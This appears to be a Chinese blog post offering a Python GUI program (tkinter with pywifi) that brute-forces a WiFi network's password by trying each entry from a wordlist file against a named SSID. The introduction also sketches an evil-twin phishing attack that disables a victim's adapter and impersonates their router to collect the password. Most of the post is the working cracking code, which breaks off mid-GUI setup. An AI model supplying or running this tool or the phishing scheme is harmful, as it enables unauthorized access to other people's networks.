admin管理员组

文章数量:1574959

大家好,今天要讲的是关于破解wifi密码的小程序,当然和往常一样,为了让程序更加易于使用,我们将使用GUI(tkiner)来做一个交互界面,对于破解而言,程序大部分只能做 简单的撞库破解,自己去找一个密码本,一个个试,用大量时间和精力破解密码,并且大部分的破解程序都是单进程,单线程……而对于一些黑客而言,他们使用的手段往往就显得出高水平,譬如常见的 “钓鱼” 大致是用自己的网卡去攻击对方网卡,黑掉对方网卡,让其瘫痪,再以同名的wifi出现,让对方误以为是自己的路由器出了问题需要升级,同时要求对方输入自己的真实密码……
还是说一下我学到的代码把,这个代码是基于别人的代码而写,只是我学到的,不得不说以前大学老师给我们说的,“天下作业一大抄”,但是要抄出自己的感悟,去其糟粕!在此先感谢那些给予我帮助的网友。

简单代码如下

from tkinter import *
from pywifi import const
import pywifi
import time

# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间

#测试连接
def wificonnect(str,wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP

        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)

        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()

    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,'密码正确'+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'密码错误'+mystr)
                text.see(END)
                text.update()

        except: continue

# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')

# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid

本文标签: 代码简单Pythonwifi